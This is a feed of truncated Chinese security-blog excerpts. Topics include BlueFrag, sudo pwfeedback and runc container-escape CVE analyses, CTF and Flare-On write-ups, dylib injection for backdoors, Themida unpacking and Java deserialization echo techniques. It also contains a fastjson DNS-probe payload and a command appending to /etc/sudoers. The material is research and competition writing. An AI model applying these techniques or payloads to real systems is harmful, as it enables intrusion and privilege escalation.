…应该是这里分配的内存太小..导致后续的缓冲区溢出吧?由于我对这两个值不是很熟悉..所以这个时候开始查资料..这个时候发现已经有人发文了…参考链接最后贴后面..可以知道的是..这里的值一个是 OriginalCompressedSegmentSize  一个是 Offset/Length,他们 描述如下:OriginalCompressedSegmentSize (4 bytes) The s
2020年7月11日 18:02Swing'Blog 浮生若梦
Hexagon 学习
就是按照手册过了一遍,仅仅是个人的笔记。
Registers 寄存器
The Hexagon processor has two sets of registers: general registers and control registers. The general registers include thirty-two 32-bit registers (named R0 through R31) which can be accessed either as single registers or as aligned 64-bit register pairs. The general registers are used to contain all pointer, scalar, vector, and accumulator data. The control registers include special-purpose registers such as program counter, status register, loop registers, etc.
分为通用寄存器和控制寄存器, 通用寄存器包括32个32位寄存器,以R0到R31命名,另外这里提到了可以通过定义一个寄存器对来表示一个64位寄存器..例如
1
2

R1:0 =memd(R3) //导入双字
R7:6=valignb(R9:8,R7:6,#2) //适量对齐

寄存器对
下图显示了寄存器对的结构
在这些通用寄存器当中,R29-R32被用来支持子程序的调用以及程序栈,这些寄存器可以无保留的被子程序调用或栈指令改变。在编程环境中,R29-R32可以用符号来表示。例如:
SP=add(SP,#-8) //sp是R29的别名
Allocfram //更改寄存器R29(SP)以及R30(FP)
call init //更改LR(R31)
通用寄存器
下图显示了这些别名后的通用寄存器
1
2
3
4

For example:
SP = add(SP, #-8) // SP is alias of R29
allocframe // Modifies SP (R29) and FP (R30)
call init // Modifies LR (R31)

在这些通用寄存器当中,R29-R32被用来
2020年7月11日 18:02Swing'Blog 浮生若梦
Android蓝牙子系统“BlueFrag”漏洞分析
漏洞位于:hci/src/packet_fragmenter.cc
HCI 层
HCI 层位于蓝牙协议栈高层协议和低层协议之间,提供了对基带控制器和链路管理器的命令以及访问蓝牙硬件的统一接口方法,其接口适用于BR/EDR控制器、BR/EDR/LE控制器、LE控制器、AMP控制器,与底层的结构关系如下图:
HCI 包格式
HCI通过包的方式来传送数据、命令和事件的,所有在主机和主机控制器之间的通信都以包的形式进行。包括每个命令的返回参数都通过特定的事件包来传输。HCI有数据、命令和事件三种类型的包。命令包COMMAND(0x01)只能从主机发往主机控制器,其中数据包是双向的,分为两类:ACL(0x02)、SCO(0x03),而事件包EVENT(0x04)始终是主机控制器发向主机的。主机发出的大多数命令包都会触发主机控制器产生相应的事件包作为响应,在传输过程中会有一个句柄,用于识别主机之间的逻辑通道和控制器,共有三种类型的句柄:连接句柄、逻辑链路句柄和物理链路句柄。
根据需要,这里只介绍ACL数据包格式,ACL 数据用于主机和控制器之间的非同步数据交换,如播放音乐数据的数据包,格式如下图:
字段说明:
字段
说明
Handle
Connection_Handle用于在主控制器上传输数据包或段。
PB Flag
包边界和适应范围。
BC Flag
广播标志。
Data Total Length
以八位位组为单位的数据长度,包含高层协议data。
其中 PB FLAGS 是我们要注意的 ,设置为 00’b 的时候,代表 Host -> Contoller 的 L2CAP 的首包。设置为 01’b 的时候,代表 Host -> Contoller 或者 Contoller -> Host 的 L2CAP 的续包(中间的)。设置为 10’b 的时候,代表 Contoller -> Host 的 L2CAP 的首包。
字段
表示
00’b -> 0
Host -> Contoller 的 L2CAP 的首包
01’b -> 1
Host -> Contoller 或者 Contoller -> Host 的 L2CAP 的续包
10’b -> 2
设置为 10’b 的时候,代表 Contoller -> Host 的 L2CAP 的首包。
L2CAP 数据包格式
上面提到了
2020年7月11日 18:02Swing'Blog 浮生若梦
前言
这几天一直在看 CVE-2020-0022 的东西,不清楚的同学可以参考:
https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android-cve-2020-0022/
代码不长,具体逻辑我就不在这里分析了,总而言之问题就是
1
2
3
4
5
6
7
8
9
10
11
12
13

diff --git a/hci/src/packet_fragmenter.cc b/hci/src/packet_fragmenter.cc
index 5036ed5..143fc23 100644
--- a/hci/src/packet_fragmenter.cc
+++ b/hci/src/packet_fragmenter.cc
@@ -221,7 +221,8 @@
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
- packet->len = partial_packet->len - partial_packet->offset;
+ packet->len =
+ (partial_packet->len - partial_packet->offset) + packet->offset;
projected_offset = partial_packet->len;
}

当计算 packet->len = partial_packet->len - partial_packet->offset; 值的时候,可能计算出一个小的数,或者干脆是负数,导致在
后面拷贝的时候, 拷贝一个 负数长度的值,由于 memcpy 参数是无符号的,则导致拷贝一个大数
Android 8.1 memcpy 引起的一个小bug
在我和 @leommxj 测试的过程中,遇到一个坑,大致如图:
X0 是 dest ,X1是 src, X2是 size ,此时的size 明明是个负数,而且下溢后至少是一个很大的数,但是程序并没有崩溃。
引起 BUG 的原因
真的各种猜测不如看代码,所以我们把 libc.so 拿出来看了一下
重点在于:
此时 X0 是dest,Dest 取低位赋值给
2020年7月11日 18:02Swing'Blog 浮生若梦
前言
Sudo’s pwfeedback option can be used to provide visual feedback when the user is inputting their password. For each key press, an asterisk is printed. This option was added in response to user confusion over how the standard Password: prompt disables the echoing of key presses. While pwfeedback is not enabled by default in the upstream version of sudo, some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.
Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow. This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.
可以知道的信息是:
漏洞存在的情形时在开启 pwfeedback 的前提下
开启方法 echo Defaults pwfeedback >> /etc/sudoers
2. 影响版本 1.8.26-1.8.30
3. CVE 上写的 stack-based buffer overflow 是有误的,我们后面会提到
PoC
在 openwall 和 sudo 官网上都能看到连接在下面
CVE-2019-18634: buffer overflow in sudo when pwfeedback is enabled
Buffer overflow when pwfeedback is set in sudoer
2020年7月11日 18:02Swing'Blog 浮生若梦
Goodbye 2019
2019 年,从学生到安全研究员… 经历了一阵子的茫然,但是也逐渐找到了自己的方向.
1月
在华为进行代码审计,第一次接触通讯领域的一些相关协议,以及相关协议代码实现。主要是3GPP
3G 、4G、5G 等相关的内容
2月
春节假期回家,已经感觉好久没回家了,今年这个时候整理了 2018 自己的经历。
去了海边
去了以前的高中
假期结束,又回了华为,接着审代码 Orz
3月
回公司搞了一些 IoT 设备,路由、摄像头都有
3月23日和婴宁去看了音乐会,讲道理我真听不懂 Orz
中间搞了一段时间一些 VPN 设备
4月
4月份,这个时候准备回学校安心做毕业设计了…花了大概一个月时间完成了自己的毕设…主要还是数据处理,Python 对简化我的工作起到了很大的作用
5月
5月份的时候,毕设基本完成了,论文也基本成稿。
中旬的时候,去了 TW 当毕业旅行了…
逛了台北,然后去了花莲,玩了滑翔伞
然后又回到台北,去了台北101,逛了台北的书店,买了一本书:《一九四⑨ 大江大海》
逛完台北,5月底回学校拍了学院毕业照,距离毕业更近了
6月
6月初的时候,r3kapig 承办了”B”CTF DEFCON CHINA …被拉去了北京当运维
回了学校,班级也拍了自己的毕业照,这大概是大家最后的一次合照了
6月9号..去了上海 冲刺DEFCON Final的最后一张门票 — 0CTF Final。最后10分钟的时候连出两个题,绝杀Balsn,ne0 tql (不好意思..”我们有400人呢!“)
6月27日,生日 + 班级的告别聚餐,这一天也正式认识了我现在的女朋友…6月29日,我大概是我们班最后离开了宿舍,离开了学校的人吧..离开的时候,拍了不少照片
中间进行了GeekPwn 华为专场备赛
7月
7月5号 chaitin 5周年年会,哈哈 ,只中了个三件套
7月6号 360 世界黑客大师赛,我年会结束后打车去了酒店帮忙做题…最后拿了个第三
7月20日 ,蹭了个看雪论坛
7月24日,去了上海 打了前面六月份准备完成的GeekPwn 华为专场,论“从一个参数注入到命令执行”
8月
蹭了个 “靠谱黑客音乐节”的票,周末去玩了下。顺便一说,我的美国签证挂了..
r3kpaig DEFCON 27 CTF Final 11…
8月24日,Kcon 遇到了好久没见的 lowkey
8月25日,五月天 2019 Jus
2020年7月11日 18:02Swing'Blog 浮生若梦
前言
前端时间,在打geekpwn的时候,需要做后门,一开始我做的是macos的后门,用的是 macos dylib注入(劫持?)。
这里可以提一下,我这里用的是这个项目insert_dylib,曾经看过有人用这个项目,去掉了macos上企业微信的水印,所以一直有点印象。
使用方式如下:insert @executable_path src dst
最后能类似这样的一个效果:
红色框的,是我注入的dylib 程序,那么另外一个问题来了,如何让在程序启动前或者后,执行外面的代码呢?这里就是这个文章想提的一个东西。
什么是 @executable_path ?
executable_path 是macOS的链接路径的解决方案之一,除此之外还有 @loader_path 和 @rpath,具体细节不在这里表述,感兴趣可以自己搜一下。
attribute
认识
首先,什么是 attribute ?
__attribute__是一个编译属性,用于向编译器描述特殊的标识、错误检查或高级优化。它是GNU C特色之一,系统中有许多地方使用到。 __attribute__可以设置函数属性(Function Attribute )、变量属性(Variable Attribute )和类型属性(Type Attribute)等。
接着如何利用该编译属性达到我们想要的效果?
这里我们要认识两个编译属性
attribute((constructor))
attribute((destructor))
这两个带着 __attribute__ 编译属性的标识并不相同,一个是constructor 一个是 destructor。
从字面上理解 constructor 是构造器的意思,destructor 是 a refuse-burning furnace(焚化炉的意思?),我们可以简单的理解其为c++ 函数里的构造函数和析构函数,其特点就是在于:
attribute((constructor)) 确保此函数在 在main函数被调用之前调用,iOS中在+load之后main之前执行。
constructor和destructor会在ELF文件中添加两个段-.ctors和.dtors。当动态库或程序在加载时,会检查是否存在这两个段,如果存在执行对应的代码。
attribute((destructor)),确保此函数在 在main函数被调用之后调。
2020年7月11日 18:02Swing'Blog 浮生若梦
题记
作为国际化的智能生活安全社区,GeekPwn 是安全极客们施展才华和分享研究成果的舞台。GeekPwn 大赛将在 2019 年 10 月 24 日中国上海举行,力邀才华横溢的极客选手报名,突破安全的边界
今年的geekpwn 有两场,一是7月24日华为专场,针对华为设备进行的破解,二是10月24日上海geekpwn主场,可惜的是今年只有一天。有幸的是,今年我两场都以“长亭科技”安全研究员的身份参与了。
7月24日 华为专场
由于涉及到漏洞公开原则,漏洞细节在此文中是不会提及的,此文主要写一些这段时间内以来的一些感触,漏洞挖掘经验以及在长亭科技的一些感受。
6月底的时候刚好我毕业答辩,那个时候公司里也刚好差不多结束了“护网”的活动,那段时间,explore、晨升大佬在准备7月24日华为专场geekpwn。
7月初的时候,m4x拉了一个华为IoT的群组
正式以晨升前期挖掘的一个漏洞进行进一步的利用,后面晨升基本就没来过公司Orz…
整个过程,我们经历了大起大落,每次都觉得要成了,然后就又都沉底了..(Ps: 华为的产品真难打)…我们从一个入口,获取root shell 花了大概两个礼拜的时间。中间利用包括任意命令执行、提权等漏洞差不多有四五个个小的问题组成了一个完整的利用链…整个过程还是比较有意思的..以及能明显感受到 长亭安研的氛围,真的有一种打“CTF”的错觉 233
当然最后好像完成这个 geekpwn华为专场的一共只有三个队伍,当然包括 “长亭科技”是其中的一个。感谢队友一下不分顺序:晨升、wupco、explore、杰克马、m4x的带飞
10月24日 上海主场
今年的上海主场的原本是要放弃了,事情发生在 rwctf 之后,由于前期大家都在准备rwctf的题,然后最后由于一些问题,我的题目“咕了”。在此中间经历了 大华摄像头、小米叮叮门铃等等设备,由于rwctf的准备或者Pwn下来实在没有什么意义就中途夭折了(Ps:其实我们在寻求一些不再是 什么路由器、摄像头的IoT设备)。
然后就在9月12日的时候,杨博提了一句,要不就它了(此处虽然大家都知道,但还是隐名吧,我怕被该公司打,下文均以它指代此设备),还可以做感染其他设备。
于是我们一开始花了1-2个礼拜,陆陆续续挖掘了六七个问题,值得一提的是,该设备犯了一些常见IoT设备都会犯的问题(比如:你自己想吧 你能想到的基本都有,从硬件到软件)。然后中途,由于
2020年7月11日 18:02Swing'Blog 浮生若梦
这是第三次参加flare on了 这次也是第二次做完全部的题。
1 - Memecat Battlestation
C# 题目,一共两关
stage1Form.WeaponCode 为明文:
Stage2Form.WeaponCode 为异或结果:
1
2
3
4
5

array = [0x3,ord(' '),ord('&'),ord('$'),ord('-'),0x1e,0x2,ord(' '),ord('/'),ord('/'),ord('.'),ord('/')]

s2 = ''
for i in xrange(len(array)):
s2 += chr(array[i]^ord('A'))

2 - overlong
一个patch 题目,题目默认输出个
“I never stop the encoding”
在栈上将长度改大,然后就get flag
3 - flarebear
apk 题 使用jeb逆向发现
当满足 ishappy() 和 isEcstatic() 两个函数的时候,会打印flag。
ishappy() 逻辑如下:
isEcstatic() 逻辑如下:
游戏有三个功能分别为 feed play clean:
三个功能分别如下:
feed:
play:
clean:
1
2
3
4
5
6
7
8
9

from z3 import *


feed = Int('feed')
play = Int('play')
clean = Int('clean')

solve(feed/play >= 2, feed/play<=2.5,feed*10-play*2 == 72,feed*2 + play*4 - clean == 30,-feed -play + clean*6==0)


结果为:
1
2

swing@ubuntu:/media/psf/Home/Desktop/flare-on/3 - Flarebear $ python solve.py
[Clean = 2, feed = 8, play = 4]

最后可打印出flag:
4 - Dnschess
题目了三个附件,一个pcap流量包 一个ChessUI 和ChessAI.so 文件。
通过DNS协议下棋
首先将满足条件的ip提取出来:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1
2020年7月11日 18:02Swing'Blog 浮生若梦
最近接触了下AppArmor以及刚好最近部署某比赛,突然不想用docker做权限隔离,所以做了个记录
AppArmor
安装
sudo apt-get install apparmor-profiles apparmor-utils
创建配置文件
在生成配置文件前,需要做个软连接,因为aa-autodep是通过Path去寻找目标程序的。所以我这里先
sudo ln -s /home/binfile /usr/local/bin/binfile
然后..
1
2

cd /etc/apparmor.d/
sudo aa-autodep binfile

此刻 /etc/apparmor.d 目录下就会生成一个 home.binfile 的文件,内容如下:
1
2
3
4
5
6
7
8
9
10

# Last Modified: Tue Aug 6 18:49:37 2019
#include <tunables/global>

/home/binfile flags=(complain) {
#include <abstractions/base>

/home/binfile mr,
/lib/x86_64-linux-gnu/ld-*.so mr,

}

切换为 Complain 模式
sudo aa-complain home.binaryname
紧接着正常运行程序以及exploit
配置规则
用sudo aa-logprof 生成记录运行过程中的正常日志
生成的规则如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# Last Modified: Tue Aug 6 19:39:38 2019
#include <tunables/global>

/home/hub flags=(complain) {
#include <abstractions/base>

/bin/dash cx -> /bin/dash,
/bin/dash mr,
/home/hub mr,
/lib/x86_64-linux-gnu/ld-*.so mr,


profile /bin/dash flags=(complain) {
#include <abstractions/base>

/bin/cat mrix,
/bin/
2020年7月11日 18:02Swing'Blog 浮生若梦
前言前段时间,干一个活的时候遇到了一个强壳 Themida,简称 TMD 壳。搜了一下资料这个壳的特点就是会在关键代码处采用 vmp 保护,如 vmp 保护程序入口。好在我遇到的这个壳没有对 oep 进行处理。所以还是比较好找到 oep的。脱壳脱壳过程中找 oep 是一个关键的的步骤,找 oep 有许多的方法,但是其实大都对 TMD 这种强壳没有什么帮助?(可能是我脱的壳比较少)。另外还有一种常见的方法,就是找关键 api 然后回溯,找到真正的入口,下硬件断点。我遇到的这个程序是 msvcrt 编写的程序。我们知道在 MSVC 中程序编译器会为全局和静态函数生成相应的初始化器,并把他们的地址放在一个表(table)中,这个表会在 _cinit() 初始化 CRT 的时候生成。在 PE 结构中,这个表通常在 .data 段的起始位置。从 Entry Point 到 main 函数过程中,在完成了_setargv() 以及_setenvp() 之后,进入到_cinit 函数。_cinit 函数很短,大致上分为三个步骤:_fpmath() 或者 (*_FPinit)();_initterm( __xi_a, __xi_z );_initterm( __xc_a, __xc_z );第一步 是可选的,_FPinit 主要用来初始化浮点运算。只有当用户写的代码中出现了浮点运算,_FPinit 才会被定义。第二步和第三步 是分别对C和C++程序做初始化。_initterm 接受两个指针作为参数,这两个指针中间的内存区域是一张函数指针表。_initterm 会从第一个指针开始,慢慢向后寻找,直到第二个指针结束,中间如果找到了一块内存表示一个函数指针,则执行该函数。关键的地方就是在程序需会走到  msvcrt._initterm ,所以我们可以对这个位置下条件断点。断点首先找到自己要的关键模块,找到模块的区段地址。然后下好 条件断点12bp msvcrt._inittermbpcnd msvcrt._initterm, [esp]&lt; 0xd2d000+0x1000寻找 oep执行,程序到达断点。此时程序到达断点,发现此时程序来到了 esp 符合条件的位置。 而此时的 esp 存储的地址就是 oep 附近,我们只需来到 esp 存maty储地址附近,往上回溯即可。题外在用x64dbg 脱壳的过程中遇到了很强烈的反调试,然后我
2020年7月11日 18:02Swing'Blog 浮生若梦
About AddressSanitizer(ASan)AddressSanitizer 后文均简称为ASan 是 Google 开源的一个用于进行内存检测的工具,包括但可能不限于 Heap buffer overflow, Stack buffer overflow, Global buffer overflow 等等。在 wiki 中就举了了四个例子,分别是Heap-use-after-freeHeap-buffer-overflowStack-buffer-overflowGlobal-buffer-overflow除了学术上的建树,这个工具也曾发现了不少漏洞,如在知名的 j00r 的blog 中提到的关于 ASan 的核心实现在 wiki 也提到了,在我读了一些 paper 以及在 0ctf babyaegis 这个题目的调试也大概总结了一下:ASan 算法实现ASan 由两个主要部分构成,插桩和动态运行库( Run-time library ),插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等),将它们进行处理。动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。其实该算法的思路很简单,如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。+——————-+|     redzone          |+——————-+|       mem              |+——————-+|     redzone          |+——————-+|       mem              |+——————-+|     redzone          |+——————-+内存映射AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(没8个字节的内存对应一个字节的影子内存),为了减少overhead,就采用了直接内存映射策略,所采用的具体策略如下:Shadow=(Mem &gt;&gt; 3) + offset。每8个字节的内存对应一
2020年7月11日 18:02Swing'Blog 浮生若梦
0x01 seethefile分析程序主要有以下功能:12345678910111213141516171819202122switch ( atoi(&amp;nptr) ) &#123;   case 1:     openfile();     break;   case 2:     readfile();     break;   case 3:     writefile();     break;   case 4:     closefile();     break;   case 5:     printf(&quot;Leave your name :&quot;);     __isoc99_scanf(&quot;%s&quot;, &amp;name);     printf(&quot;Thank you %s ,see you next time\n&quot;, &amp;name);     if ( fp )       fclose(fp);     exit(0);     return;功能如其名,就不复述了,一些功能做了一点check。漏洞主要是两个nptr 栈溢出​    __isoc99_scanf(&quot;%s&quot;, &amp;nptr); 溢出发生在栈上name 溢出​       ·__isoc99_scanf(&quot;%s&quot;, &amp;name);            // overflow in bss通过 checksec ,我们发现有canary ,栈溢出需要 bypass canary才能利用123456[*] &#x27;/pwn/seethefile&#x27;    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)利用当我们咋输入name的时候输入一段长的字符串的时候,在 fclose 会发生报错1234567891011121314151617181920212223242526272829303132333435Program received signal SIGSEGV, Segmen
2020年7月11日 18:02Swing'Blog 浮生若梦
前言: 最近公开了一个 Docker逃逸的漏洞,在35c3 ctf结束后,由 dragonsecto 发现。CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host就此自己稍微分析了一下原理。0x01 RunC众所周知,RunC 是一个轻量级的工具,它是用来运行容器的,只用来做这一件事,并且这一件事要做好。我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。事实上,runC 是标准化的产物,它根据 OCI 标准来创建和运行容器。而 OCI(Open Container Initiative)组织,旨在围绕容器格式和运行时制定一个开放的工业化标准。换一句话说,其实 Docker 在管理容器的时候,其实底层就是跑的RunC12345root@VM-118-78-ubuntu:~# docker info | grep &quot;runc&quot;Runtimes: runcDefault Runtime: runcrunc version: N/A (expected: 54296cf40ad8143b62dbcaa1d90e520a2136ddfe)WARNING: No swap limit support从图中就可以得知,runc 和docker 的命令执行效果其实是差不多的。0x02 PID NameSpacePID Namespace  隔离进程pid之后,ns中的进程无法发现外界的进程。而外部ns中进程可以发现ns中进程。0x03 漏洞利用点另外一个值得注意的是 /proc/self/exe可以发现 proc/pid/exc 正常是会被指向所运行文件。而这个漏洞的漏洞利用点正在于此,如果使用此时用 docker exec binfile 。此时如果能在容器内,拿到 runc 的pid 从而获取 runc 的符号链接。那么我们就能通过覆盖 runc 为恶意程序来达到 Docker 逃逸的目的。0x04 漏洞利用容器内想办法获取 Runc PID。得到 PID 后,获取文件描述符对 fd 进行写操作,覆盖原有 runc获取 RunC的PID,我们知道 容器内的PID 是通过namespace 特殊隔离的,通常而言,如果此时有进程 A ,进程 A 的PID为 233,那么下一步我们运行
2020年7月11日 18:02Swing'Blog 浮生若梦
仅仅一点经验之谈0x01 get u binarydump binary from flashdump binary when update firmware…0x02 loader to idalike this ,I have a bluetooth binary ..we got a firmware from some one smart door lock, in he firmware upgrade traffic.When we use ida open it,we can see it .Firstly ,we know it is armSecondlye ,we guess it is  arm little-endianSo,we choice Processor type:than ,we press ok… we can see:we choice yes, than..How to fill this table?  Keep the default and press ok.0x03 fix the binarywhen the ida auto analysis has been finished.we saw like this.what fuck this????Only rom segmentation,we should create other segmentation and find the code seg. so we should to find some information and analysis this bin .we use hot-key “D”,to fix some data.Generally peaking , :00000000                 DCD 0x20007AD8 after is  interupt vectorIn the red box is function pointer. and first function pointer is odd number ,so we can think this bin is 16-bit. So we change it use alt g and choice T register value 0 to 1控制位                        
2020年7月11日 18:02Swing'Blog 浮生若梦
Building Exploit Chains with Logic BugsTraditional Approach•Search for commonly misused methods•Class loading•Unzip path traversals•External storage operations•SSL error handling•Decompile APK•Is it used? Is it accessible? Is it vulnerable?•Repeat for each application on the deviceProcess AutomationWhich parts of the process can we automate? • Is it used?• Is it accessible? • Is it vulnerable? • Wouldn’t Joern solve this? • Code property graphs • C/C++ only • We need Joern for Android • Jandroid Automation Overview1.Find use of search term in the application2.Find calls to this method3.Find calls to these methods4.Find any instances of methods exported in Manifest在Java平台中, 清单文件(Manifest file)是JAR档案[1][2]中包含的特殊文件。Manifest文件被用来定义扩展或档案打包相关数据,是一个元数据文件,它包含了不同部分中的名/值对数据。如果一个JAR文件被用来作为可执行文件,那么其中的Manifest文件需要指出该程序的主类文件。通常Manifest文件的文件名为MANIFEST.MF。通常Manifest文件都与Java档案相关,其他的情况比较少见。Static Analysis at Scale还在阅读中:if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'       
2020年7月11日 18:02Swing'Blog 浮生若梦
过去的2018 年 2019年一点小计划吧:1、代码审计训练最近公司接了个项目,遇到了一次庞大的代码,在这种庞大的代码面前有点无从下手的感觉。简单打算,新的一年,读更多的代码,审更多的洞。(以下摘自 riusksk 泉哥 安全研究者的自我修养)(1)根据自己目标定位,寻找相应的历史漏洞案例进行学习,比如要搞chrome就找chrome的历史漏洞(2)掌握漏洞所在的模块或子系统,但不看完整的漏洞细节描述,尝试在漏洞版本中找出对应的漏洞(3)如果(2)中未能找出漏洞,就去看漏洞细节描述,对比自己的审计过程,看遗漏了哪一步骤(4)不断重复上述训练,直至相信:挖洞只是体力消耗,而非能力问题这第4点说得,非常励志,因为挖洞挖久了,有时真的容易怀疑自己的能力,目标难度越大,越容易打击人。作者第一次训练的漏洞是j00ru(Project Zero成员)的IDA漏洞:https://j00ru.vexillium.org/2014/10/secure-2014-slide-deck-and-hex-rays-ida-pro-advisories-published/,2014年的文章了2、训练挖洞的双技能(1)看洞:哪里看?历史漏洞的git log、bug报告、代码质量报告等等(2)识洞:就是肉眼看代码找漏洞,即代码审计,难点也就是在这上面,训练方法继续往下看其实,我更认为我应该训练找洞和利用漏洞的能力,所以我更想归纳为(1)识洞: 从git log 、diff log 找到漏洞点、漏洞利用点,从源代码、反汇编、调试的过程找到漏洞(2)利用:写更多的exploit ,写更多有意思 、高质量的exploit,可以从 cve、0day 练习起来。新年不仅想完成工作上的内容,业余我还想跟踪最新的、有意思的漏洞 (另外想入坑webkit了)3、Fuzzing训练(1)拿已公开的历史漏洞问自己:如何写fuzzer挖掘到此漏洞?(2)如果自己不知道此漏洞,那又能够挖掘到呢?(3)不断重复训练并改进fuzzer,相信会有更多漏洞被意外发现4、能力(基础)往往比运气和天赋更重要泉哥在他blog这么写的:努力往往比运气和天赋更重要虽然挖洞也需要一定运气和天赋,但多数你认为的挖洞天才,其实只不过是花了比你多100倍,甚至更多的时间在这项技术研究上而已我认为呢:有段时间总听到朋友说挖到的洞都是运气好,然而我想的是,如果没有足够的基础、没有足够的意识、
2020年7月11日 18:02Swing'Blog 浮生若梦
题目描述behold my collectionThe container is built with the following important statements123FROM ubuntu:18.04RUN apt-get -y install python3.6COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.soCopy the library in the same destination path and check that it works with1python3.6 test.pyChallenge runs at 35.207.157.79:4444Difficulty: easy题目信息题目给了python3.6 和 Collection.cpython-36m-x86_64-linux-gnu.so 这两个比较有用的文件。其中从命名我们可以得知 Collection.cpython-36m-x86_64-linux-gnu.so 是C语言写的一个Python库。在 Server.py 文件里,我们可以得知这是一个 Python escape题。1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556import osimport tempfileimport osimport stringimport randomdef randstr():    return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))flag = open("flag", "r")prefix = """from sys import modulesdel modules['os']import Collectionkeys = list(_
2020年7月11日 18:02回忆飘如雪
0x01 背景
serialVesionUid不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。
0x02 各方案的优劣
在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。
方案1:修改序列化byte数据
该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致
方案2:反射修改serialVesionUID
可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。
方案3:修改Class字节码,添加或修改serialVesionUID
能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。
方案4:Hook ObjectStreamClass.getSerialVesionUID()
该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。
方案5:URLClassLoader
使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三:
第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称不一致jar)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。
第二,不方便共享依赖。Gadget依赖的部
2020年7月11日 18:02回忆飘如雪
0x01 前言
本文献给永远的Avicii,严格意义上我不算是一个reaver。但并不妨碍我深深的喜欢你的作品,它们陪伴着我度过了无数个编程的夜晚,十分感谢。今天不同人用不同的方式怀念你,我不会作曲,也不敢纹身。能给你分享的是我所热爱的事,在我看来这是最有质感的东西。R.I.P
0x02 背景
最近圈子里各位师傅都在分享shiro回显的方法,真是八仙过海过海各显神通。这里我也分享下自己针对回显的思考和解决方案。师傅们基本都是考虑中间件为Tomcat,框架为Shiro的反序列化漏洞如何回显。这里我从更大的层面来解决回显问题。也就是在任意中间件下,任意框架下可执行任意代码的漏洞如何回显?
0x03 基本思路
回显的方式有很多种类,通过获取request对象来回显应该是最优雅通用的方法。而之前师傅们获取requst的方式基本都是去阅读和调试中间件的源码,确定requst存储的位置,最终反射获取。其实提炼出来就是两个步骤。
第一步:寻找存储有request对象的全局变量
这一步定位的是requst存储的范围,需要靠知识沉淀或阅读源码来确定request对象被存储到那些全局变量中去了。
为何要考虑全局变量呢?这是因为只有是全局的,我们才能保证漏洞触发时可以拿到这个对象。
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。当然其他全局变量也有可能,这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码,发现[MBeanServer](https://xz.aliyun.com/t/7535)中也有request对象。
第二步:半自动化反射搜索全局变量
这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。
Requst
ServletRequest
RequstGroup
RequestInfo
RequestGroupInfo
…
0x04 编码实现
思路虽然简单,但实现反射搜索的细节其实还是有很多坑的,这里列举一些比较有意思的点和坑来说说。
4.1 限制挖掘深度
对于隐藏过深的requst对象我们最好不考虑,原因有两个。
第一个
2020年7月11日 18:02回忆飘如雪
0x01 背景
在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。
昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。
0x02 方法一:利用java.net.Inet[4|6]Address
很早之前有一个方法是使用java.net.InetAddress类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。
1
2

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

我们知道在fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现,由于java.net.Inet4Address不在黑名单中,所以就算开启AutoType也是能过1处的检查。
